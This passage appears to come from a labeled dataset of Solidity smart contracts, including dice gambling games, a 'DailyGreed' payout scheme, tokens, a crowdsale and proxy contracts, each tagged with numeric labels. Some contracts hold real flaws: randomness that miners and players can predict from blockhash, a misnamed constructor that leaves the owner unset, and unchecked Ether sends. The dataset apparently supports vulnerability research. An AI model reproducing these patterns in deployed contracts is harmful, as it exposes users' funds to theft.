require(modulo == 2 || modulo == 6 || modulo == 12 || modulo == 0, "Wrong modulo!");
if (modulo == 0) {
modulo = 100;
}
uint8[] memory number = new uint8[](length - index - 1);
for (uint8 j = 0; j < length - index - 1; j++) {
number[j] = uint8((msg.data[j + index + 1] >> 4) & 0xF) * 10 + uint8(msg.data[j + index + 1] & 0xF);
if (modulo == 12) {
require(number[j] > 1 && number[j] <= 12, "Two Dice Confirm!");
} else {
require(number[j] <= modulo, "Wrong number bet!");
if (modulo != 100) {
require(number[j] > 0, "Wrong number bet!");
}
}
}
if (modulo == 100) {
require(number[0] == 0 || number[0] == 1, "Etheroll Confirm!");
require(number[1] > 1 && number[1] < 100, "Etheroll Confirm!");
} else if (modulo == 12) {
require(number.length < 11, "Much number bet!");
} else {
require(number.length < modulo, "Much number bet!");
}
require(msg.value >= MIN_BET && msg.value <= MAX_BET, "Value confirm!");
uint winPossible;
if (modulo == 100) {
if (number[0] == 1) {
winPossible = (100 - number[1]) / number[1] * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
} else {
winPossible = (number[1] - 1) / (101 - number[1]) * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
}
} else {
if (modulo == 12) {
winPossible = ((modulo - 1 - number.length) / number.length + 1) * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
} else {
winPossible = ((modulo - number.length) / number.length + 1) * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
}
}
require(winPossible <= MAX_PROFIT);
if(userData.getUserRef(msg.sender, "Dice") != address(0x0)) {
userData.getUserRef(msg.sender, "Dice").transfer(msg.value * REF_PERCENT / 1000);
} else if(ref != address(0x0)) {
ref.transfer(msg.value * REF_PERCENT / 1000);
userData.setUserRef(msg.sender, ref, "Dice");
}
bets.length++;
bets[bets.length - 1].blockNumber = block.number;
bets[bets.length - 1].player = msg.sender;
bets[bets.length - 1].amount = msg.value;
bets[bets.length - 1].hexData.length = length - index;
for(j = 0; j < bets[bets.length - 1].hexData.length; j++){
bets[bets.length - 1].hexData[j] = msg.data[j + index];
}
}
function setBot(address _bot) public onlyOwner {
require(_bot != address(0x0));
bot = _bot;
}
function setConfig(uint8 _FEE_PERCENT, uint8 _JACKPOT_PERCENT, uint _MAX_PROFIT, uint _MIN_BET, uint _MAX_BET, uint _JACKPOT_WIN, uint8 _REF_PERCENT) public onlyOwner {
FEE_PERCENT = _FEE_PERCENT;
JACKPOT_PERCENT = _JACKPOT_PERCENT;
MAX_PROFIT = _MAX_PROFIT;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
MAX_PROFIT = _MAX_PROFIT;
JACKPOT_WIN = _JACKPOT_WIN;
REF_PERCENT = _REF_PERCENT;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require(increaseAmount <= address(this).balance, "Not enough funds");
jackpotFund += uint(increaseAmount);
emit JackpotIncrease(jackpotFund);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require(withdrawAmount <= address(this).balance, "Not enough funds");
require(jackpotFund + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount);
}
function kill() external onlyOwner {
sendFunds(owner, address(this).balance);
selfdestruct(owner);
}
function doBet(uint gameNumber) private {
uint8 modulo = uint8((bets[gameNumber].hexData[0] >> 4) & 0xF) * 10 + uint8(bets[gameNumber].hexData[0] & 0xF);
uint8 result;
if (modulo == 12) {
uint8 dice1 = uint8(keccak256(abi.encodePacked(bets[gameNumber].hexData, blockhash(bets[gameNumber].blockNumber)))) % 6;
uint8 dice2 = uint8(keccak256(abi.encodePacked(address(this).balance, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % 6;
result = (dice1 == 0 ? 6 : dice1) + (dice2 == 0 ? 6 : dice2);
} else {
result = uint8(keccak256(abi.encodePacked(bets[gameNumber].hexData, address(this).balance, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % modulo;
}
if (result == 0) {
result = modulo;
}
uint winValue = 0;
uint8[] memory number = new uint8[](bets[gameNumber].hexData.length - 1);
for (uint8 j = 0; j < bets[gameNumber].hexData.length - 1; j++) {
number[j] = uint8((bets[gameNumber].hexData[j + 1] >> 4) & 0xF) * 10 + uint8(bets[gameNumber].hexData[j + 1] & 0xF);
}
for (uint8 i = 0; i < number.length; i++) {
if (number[i] == result) {
if (modulo == 12) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (modulo - 1 - number.length) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * number.length);
} else {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (modulo - number.length) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * number.length);
}
break;
}
}
if (bets[gameNumber].amount >= MIN_JACKPOT) {
jackpotFund += bets[gameNumber].amount * JACKPOT_PERCENT / 100;
emit JackpotIncrease(jackpotFund);
if (winValue != 0) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / 100 + (modulo - number.length) * bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / (100 * number.length);
}
uint16 jackpotNumber = uint16(uint(keccak256(abi.encodePacked(bets[gameNumber].player, winValue, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].hexData))) % JACKPOT_WIN);
if (jackpotNumber == 999) {
emit Jackpot(bets[gameNumber].player, jackpotFund);
sendFunds(bets[gameNumber].player, jackpotFund + winValue);
jackpotFund = 0;
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
emit DiceBet(bets[gameNumber].player, bets[gameNumber].amount, bets[gameNumber].blockNumber, bets[gameNumber].hexData, result, winValue, jackpotNumber, modulo);
}
function etheRoll(uint gameNumber) private {
uint8 result = uint8(keccak256(abi.encodePacked(bets[gameNumber].hexData, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % 100;
if (result == 0) {
result = 100;
}
uint winValue = 0;
uint8[] memory number = new uint8[](bets[gameNumber].hexData.length - 1);
for (uint8 j = 0; j < bets[gameNumber].hexData.length - 1; j++) {
number[j] = uint8((bets[gameNumber].hexData[j + 1] >> 4) & 0xF) * 10 + uint8(bets[gameNumber].hexData[j + 1] & 0xF);
}
if (number[0] == 0 && number[1] >= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (100 - uint(number[1])) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * uint(number[1]));
}
if (number[0] == 1 && number[1] <= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (uint(number[1]) - 1) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * (101 - uint(number[1])));
}
if (bets[gameNumber].amount >= MIN_JACKPOT) {
jackpotFund += bets[gameNumber].amount * JACKPOT_PERCENT / 100;
emit JackpotIncrease(jackpotFund);
if (number[0] == 0 && number[1] >= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / 100 + (100 - uint(number[1])) * bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / (100 * uint(number[1]));
}
if (number[0] == 1 && number[1] <= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / 100 + (uint(number[1]) - 1) * bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / (100 * (101 - uint(number[1])));
}
uint16 jackpotNumber = uint16(uint(keccak256(abi.encodePacked(bets[gameNumber].hexData, winValue, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % JACKPOT_WIN);
if (jackpotNumber == 999) {
emit Jackpot(bets[gameNumber].player, jackpotFund);
sendFunds(bets[gameNumber].player, jackpotFund + winValue);
jackpotFund = 0;
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
emit DiceBet(bets[gameNumber].player, bets[gameNumber].amount, bets[gameNumber].blockNumber, bets[gameNumber].hexData, result, winValue, jackpotNumber, 100);
}
function resolveBet() public onlyBot {
uint i = 0;
for (uint k = resolve; k < bets.length; k++) {
uint8 modulo = uint8((bets[k].hexData[0] >> 4) & 0xF) * 10 + uint8(bets[k].hexData[0] & 0xF);
if (modulo == 0) {
modulo = 100;
}
if (bets[k].blockNumber <= (block.number - 1)) {
if (modulo == 100) {
etheRoll(k);
i++;
} else {
doBet(k);
i++;
}
} else {
break;
}
}
resolve += i;
}
function addBalance() public payable {}
function sendFunds(address beneficiary, uint amount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, amount);
} else {
emit FailedPayment(beneficiary, amount);
loans.push(Loan(beneficiary, amount));
}
}
function payLoan() public onlyBot {
uint pay = 0;
for (uint i = payLoan; i < loans.length; i++) {
if (loans[i].player.send(loans[i].amount)) {
emit Repayment(loans[i].player, loans[i].amount);
pay++;
} else {
break;
}
}
payLoan += pay;
}
function getLengthBets() public view returns (uint) {
return bets.length;
}
function toAddress(bytes _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20),"Wrong size!");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
} | 0 | 679 |
pragma solidity ^0.4.24;
contract DailyGreed {
address owner;
function Daily() {
owner = msg.sender;
}
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
function() external payable {
owner.send(msg.value / 10);
if (balances[msg.sender] != 0){
address kashout = msg.sender;
uint256 getout = balances[msg.sender]*5/100*(block.number-timestamp[msg.sender])/5900;
kashout.send(getout);
}
timestamp[msg.sender] = block.number;
balances[msg.sender] += msg.value;
}
} | 0 | 2,350 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract MANHAToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "0MANHA";
name = "0 MANHA Token";
decimals = 8;
_totalSupply = 100000000000000000;
balances[0x98d3b4c88d9672C5b15AebD9cB78A302186A908d] = _totalSupply;
emit Transfer(address(0), 0x98d3b4c88d9672C5b15AebD9cB78A302186A908d, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,608 |
pragma solidity ^0.4.23;
contract Dice2Win {
uint256 constant JACKPOT_MODULO = 1000;
uint256 constant HOUSE_EDGE_PERCENT = 2;
uint256 constant JACKPOT_FEE_PERCENT = 50;
uint256 constant MIN_BET = 0.02 ether;
uint256 constant MIN_JACKPOT_BET = 0.1 ether;
uint256 constant BLOCK_DELAY = 2;
uint256 constant BET_EXPIRATION_BLOCKS = 100;
address public owner;
address public nextOwner;
uint256 public maxBetCoinDice;
uint256 public maxBetDoubleDice;
uint128 public jackpotSize;
uint128 public lockedInBets;
enum GameId {
CoinFlip,
SingleDice,
DoubleDice,
MaxGameId
}
uint256 constant MAX_BLOCK_NUMBER = 2 ** 56;
uint256 constant MAX_BET_MASK = 2 ** 64;
uint256 constant MAX_AMOUNT = 2 ** 128;
struct ActiveBet {
GameId gameId;
uint56 placeBlockNumber;
uint64 mask;
uint128 amount;
}
mapping (address => ActiveBet) activeBets;
event FailedPayment(address indexed _beneficiary, uint256 amount);
event Payment(address indexed _beneficiary, uint256 amount);
event JackpotPayment(address indexed _beneficiary, uint256 amount);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
function approveNextOwner(address _nextOwner) public onlyOwner {
require (_nextOwner != owner);
nextOwner = _nextOwner;
}
function acceptNextOwner() public {
require (msg.sender == nextOwner);
owner = nextOwner;
}
function kill() public onlyOwner {
require (lockedInBets == 0);
selfdestruct(owner);
}
function () public payable {
}
function changeMaxBetCoinDice(uint256 newMaxBetCoinDice) public onlyOwner {
maxBetCoinDice = newMaxBetCoinDice;
}
function changeMaxBetDoubleDice(uint256 newMaxBetDoubleDice) public onlyOwner {
maxBetDoubleDice = newMaxBetDoubleDice;
}
function increaseJackpot(uint256 increaseAmount) public onlyOwner {
require (increaseAmount <= address(this).balance);
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance);
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint256 withdrawAmount) public onlyOwner {
require (withdrawAmount <= address(this).balance);
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance);
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function placeBet(GameId gameId, uint256 betMask) public payable {
ActiveBet storage bet = activeBets[msg.sender];
require (bet.amount == 0);
require (gameId < GameId.MaxGameId);
require (msg.value >= MIN_BET && msg.value <= getMaxBet(gameId));
require (betMask < MAX_BET_MASK);
uint256 rollModulo = getRollModulo(gameId);
uint256 rollUnder = getRollUnder(rollModulo, betMask);
uint256 reservedAmount = getDiceWinAmount(msg.value, rollModulo, rollUnder);
uint256 jackpotFee = getJackpotFee(msg.value);
require (jackpotSize + lockedInBets + reservedAmount + jackpotFee <= address(this).balance);
lockedInBets += uint128(reservedAmount);
jackpotSize += uint128(jackpotFee);
bet.gameId = gameId;
bet.placeBlockNumber = uint56(block.number);
bet.mask = uint64(betMask);
bet.amount = uint128(msg.value);
}
function settleBet(address gambler) public {
ActiveBet storage bet = activeBets[gambler];
require (bet.amount != 0);
require (block.number > bet.placeBlockNumber + BLOCK_DELAY);
require (block.number <= bet.placeBlockNumber + BET_EXPIRATION_BLOCKS);
bytes32 entropy = keccak256(gambler, blockhash(bet.placeBlockNumber + BLOCK_DELAY));
uint256 diceWin = 0;
uint256 jackpotWin = 0;
uint256 rollModulo = getRollModulo(bet.gameId);
uint256 dice = uint256(entropy) % rollModulo;
uint256 rollUnder = getRollUnder(rollModulo, bet.mask);
uint256 diceWinAmount = getDiceWinAmount(bet.amount, rollModulo, rollUnder);
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
lockedInBets -= uint128(diceWinAmount);
if (bet.amount >= MIN_JACKPOT_BET) {
uint256 jackpotRng = (uint256(entropy) / rollModulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
delete activeBets[gambler];
uint256 totalWin = diceWin + jackpotWin;
if (totalWin == 0) {
totalWin = 1 wei;
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, totalWin, diceWin);
}
function refundBet(address gambler) public {
ActiveBet storage bet = activeBets[gambler];
require (bet.amount != 0);
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS);
uint256 rollModulo = getRollModulo(bet.gameId);
uint256 rollUnder = getRollUnder(rollModulo, bet.mask);
lockedInBets -= uint128(getDiceWinAmount(bet.amount, rollModulo, rollUnder));
uint256 refundAmount = bet.amount;
delete activeBets[gambler];
sendFunds(gambler, refundAmount, refundAmount);
}
function getRollModulo(GameId gameId) pure private returns (uint256) {
if (gameId == GameId.CoinFlip) {
return 2;
} else if (gameId == GameId.SingleDice) {
return 6;
} else if (gameId == GameId.DoubleDice) {
return 36;
}
}
function getMaxBet(GameId gameId) view private returns (uint256) {
if (gameId == GameId.CoinFlip) {
return maxBetCoinDice;
} else if (gameId == GameId.SingleDice) {
return maxBetCoinDice;
} else if (gameId == GameId.DoubleDice) {
return maxBetDoubleDice;
}
}
function getRollUnder(uint256 rollModulo, uint256 betMask) pure private returns (uint256) {
uint256 rollUnder = 0;
uint256 singleBitMask = 1;
for (uint256 shift = 0; shift < rollModulo; shift++) {
if (betMask & singleBitMask != 0) {
rollUnder++;
}
singleBitMask *= 2;
}
return rollUnder;
}
function getDiceWinAmount(uint256 amount, uint256 rollModulo, uint256 rollUnder) pure private
returns (uint256) {
require (0 < rollUnder && rollUnder <= rollModulo);
return amount * rollModulo / rollUnder * (100 - HOUSE_EDGE_PERCENT) / 100;
}
function getJackpotFee(uint256 amount) pure private returns (uint256) {
return amount * HOUSE_EDGE_PERCENT / 100 * JACKPOT_FEE_PERCENT / 100;
}
function sendFunds(address beneficiary, uint256 amount, uint256 successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
} | 0 | 565 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract FiatContract {
function ETH(uint _id) constant returns (uint256);
function USD(uint _id) constant returns (uint256);
function EUR(uint _id) constant returns (uint256);
function GBP(uint _id) constant returns (uint256);
function updatedAt(uint _id) constant returns (uint);
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract SafeGuard is Ownable {
event Transaction(address indexed destination, uint value, bytes data);
function executeTransaction(address destination, uint value, bytes data)
public
onlyOwner
{
require(externalCall(destination, value, data.length, data));
emit Transaction(destination, value, data);
}
function externalCall(address destination, uint value, uint dataLength, bytes data)
private
returns (bool) {
bool result;
assembly {
let x := mload(0x40)
let d := add(data, 32)
result := call(
sub(gas, 34710),
destination,
value,
d,
dataLength,
x,
0
)
}
return result;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract PADVTCrowdsale is AllowanceCrowdsale, TimedCrowdsale, SafeGuard {
FiatContract fContract;
constructor(uint256 _rate, address _wallet, ERC20 _token, address _tokenWallet, uint256 _openingTime, uint256 _closingTime)
Crowdsale(_rate, _wallet, _token)
AllowanceCrowdsale(_tokenWallet)
TimedCrowdsale(_openingTime, _closingTime)
public
{
fContract = FiatContract(0x8055d0504666e2B6942BeB8D6014c964658Ca591);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 ethCent = fContract.USD(0) * rate;
return _weiAmount.div(ethCent);
}
} | 1 | 5,349 |
pragma solidity 0.4.24;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor(address _owner)
Owned(_owner)
public
{
}
function setPaused(bool _paused)
external
onlyOwner
{
if (_paused == paused) {
return;
}
paused = _paused;
if (paused) {
lastPauseTime = now;
}
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
contract SafeDecimalMath {
uint8 public constant decimals = 18;
uint public constant UNIT = 10 ** uint(decimals);
function addIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return x + y >= y;
}
function safeAdd(uint x, uint y)
pure
internal
returns (uint)
{
require(x + y >= y, "Safe add failed");
return x + y;
}
function subIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y <= x;
}
function safeSub(uint x, uint y)
pure
internal
returns (uint)
{
require(y <= x, "Safe sub failed");
return x - y;
}
function mulIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
if (x == 0) {
return true;
}
return (x * y) / x == y;
}
function safeMul(uint x, uint y)
pure
internal
returns (uint)
{
if (x == 0) {
return 0;
}
uint p = x * y;
require(p / x == y, "Safe mul failed");
return p;
}
function safeMul_dec(uint x, uint y)
pure
internal
returns (uint)
{
return safeMul(x, y) / UNIT;
}
function divIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y != 0;
}
function safeDiv(uint x, uint y)
pure
internal
returns (uint)
{
require(y != 0, "Denominator cannot be zero");
return x / y;
}
function safeDiv_dec(uint x, uint y)
pure
internal
returns (uint)
{
return safeDiv(safeMul(x, UNIT), y);
}
function intToDec(uint i)
pure
internal
returns (uint)
{
return safeMul(i, UNIT);
}
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics,
bytes32 topic1, bytes32 topic2,
bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
